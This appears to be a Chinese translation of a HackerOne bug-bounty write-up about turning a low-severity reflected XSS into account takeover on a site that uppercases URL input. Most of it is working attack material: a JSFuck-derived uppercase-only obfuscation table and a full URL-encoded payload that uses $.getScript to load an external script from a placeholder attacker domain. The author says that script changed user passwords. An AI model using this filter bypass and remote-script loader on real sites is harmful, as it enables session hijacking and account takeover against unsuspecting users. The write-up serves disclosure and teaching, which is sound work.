虽然我们不是在安全公司工作,但喜欢参加Hackerone上的漏洞悬赏项目,喜欢寻找漏洞。
而最近发现的漏洞让我感觉JAVAscript代码中的注入漏洞的确会让人防不胜防。
我们在目标网站上找到了一个和XSS有关的漏洞,其中网页涉及到某种谷歌分析代码,可通过URL进行XSS攻击。
http://website.com/dir/subdir
以上URL的后半部分会直接出现在JavaScript代码中:
function("/DIR/SUBDIR",params);
通过使用Burp suite,我尝试在URL末尾添加-alert(1)-来进行攻击,即http://website.com/dir/subdir/"-alert(1)-"。
结果浏览器告诉我们找不到函数ALERT(1),看来GET参数会被转换为大写。
然后我们开始测试网站过滤器到底会过滤什么内容,结果发现</script>,//,,. 会受到影响,但是其他敏感字符东西",',[,],{,}并不会。
所以,我们需要利用这些白名单字符构建payload。很快我们便想到了jsfuck.com网站,不过它生成的payload虽然可以绕过大写过滤器,但太长了。
同时,需要说明的是,在Hackerone的悬赏项目中,如果只是执行alert(1),那么只能算是一个低级XSS(奖励较低)。我们希望将此漏洞的等级升级为高或严重,这就需要证明漏洞可加载外部JS文件,且在和用户无任何交互的情况下就可执行任意Web操作。
以下是一个用于wordPress/ target=_blank class=infotextkey>WordPress的payload,我们希望能往目标注入类似于这个payload的外部脚本,非法更改帐户密码或email。
而在JsFuck网站中,一个简单的alert(1)会被转换为如下代码:
"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"
这真是又丑又长。如果我想使用alert(document.cookie),则最终的payload会超过13000个字符。但是,我发现一旦给目标服务器发送的字符数超出了2700个,Web服务就会返回Error 400。看来我们需要改善这种混淆方式,缩减它的长度。
先让我们看看JsFuck是如何工作的(字符间的对应关系)。
const SIMPLE = { 'false': '![]', 'true': '!0', 'undefined': '0[0]', 'NaN': '+[!0]', 'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000" }; const CONSTRUCTORS = { 'Array': '[]', 'Number': '(+0)', 'String': '([]+[])', 'Boolean': '(!0)', 'Function': '[]["fill"]', 'RegExp': 'Function("return/"+0+"/")()' }; const MAppING = { 'a': '(false+"")[1]', 'b': '([]["entries"]()+"")[2]', 'c': '([]["fill"]+"")[3]', 'd': '(undefined+"")[2]', 'e': '(true+"")[3]', 'f': '(false+"")[0]', 'g': '(false+[0]+String)[20]', 'h': '(+(101))["to"+String["name"]](21)[1]', 'i': '([false]+undefined)[10]', 'j': '([]["entries"]()+"")[3]', 'k': '(+(20))["to"+String["name"]](21)', 'l': '(false+"")[2]', 'm': '(Number+"")[11]', 'n': '(undefined+"")[1]', 'o': '(true+[]["fill"])[10]', 'p': '(+(211))["to"+String["name"]](31)[1]',
我开始尝试在Chrome上执行其中一部分代码,看看它是如何工作的。
基本上,我们可以从不同类型的变量中获取字符,特别是从false、true、undefined、NaN、Infinity等获取小写字母。
最终,我在没有使用小写字母的情况下得出了自制的混淆转换表。
Á=![]; //false É=!![]; //true Í=[][[]]; //undefined Ó=+[![]]; //NaN SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity ST=([]+[]); // Ü=(+[]); A=(Á+"")[1]; D=(Í+"")[2]; E=(É+"")[3]; F=(Á+"")[0]; G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]]; I=([Á]+Í)[10]; L=(Á+"")[2]; T=(É+"")[0]; O=(É+[][F+I+L+L])[10]; R=(É+"")[1]; N=(Í+"")[1]; M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1]; P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1]; S=(Á+"")[3]; U=(Í+"")[0]; V=(+(31))[T+O+"S"+T+R+I+N+G](32); X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1]; Y=(Ó+[SI])[10]; Z=(+(35))[T+O+"S"+T+R+I+N+G](36); C=([][F+I+L+L]+"")[3]; H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1]; K=(+(20))[T+O+"S"+T+R+I+N+G](21); W=(+(32))[T+O+"S"+T+R+I+N+G](33); J=([][E+N+T+R+I+E+S]()+"")[3]; B=([][E+N+T+R+I+E+S]()+"")[2];
同时我还需要斜线和圆点。首先我们可以从浮点数1.1e+101得到圆点。
好的,现在我还缺/和g。此时我决定用jsfuck生成这两个字符,为此我牺牲了1200个字符,但之前的paylaod大约是500-800字符,所以最后的payload长度(还包含些其他代码)在服务器允许的范围内。
现在让我们试试执行混淆后的代码。
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();
以上代码实际对应fill.constructor(alert(1))。是的,我只用大写字母就执行了javascript!
希望目标网站使用了jquery,此外如果加载到html代码的末尾,则注入payload后会返回未找到函数。我们必须等待3秒,等所有依赖项加载完成再用$.getscript加载外部JS文件。
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();
它成功了!3秒后我收到了请求!
最后对payload进行URL编码,得到的最终payload是(长度为2500多):
%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22
最后我们成功加载了外部JS脚本,它的作用是更改用户名密码!实现帐户接管!就这样我把一个低危XSS漏洞变成了高危XSS漏洞。奖励也从50美元变成了1000美元,翻了20倍!
在此特别感谢Martin Kleppe,没有他的发现,我们是不可能得到这个奖励的。
来源:https://nosec.org/home/detail/3047.html
原文:https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce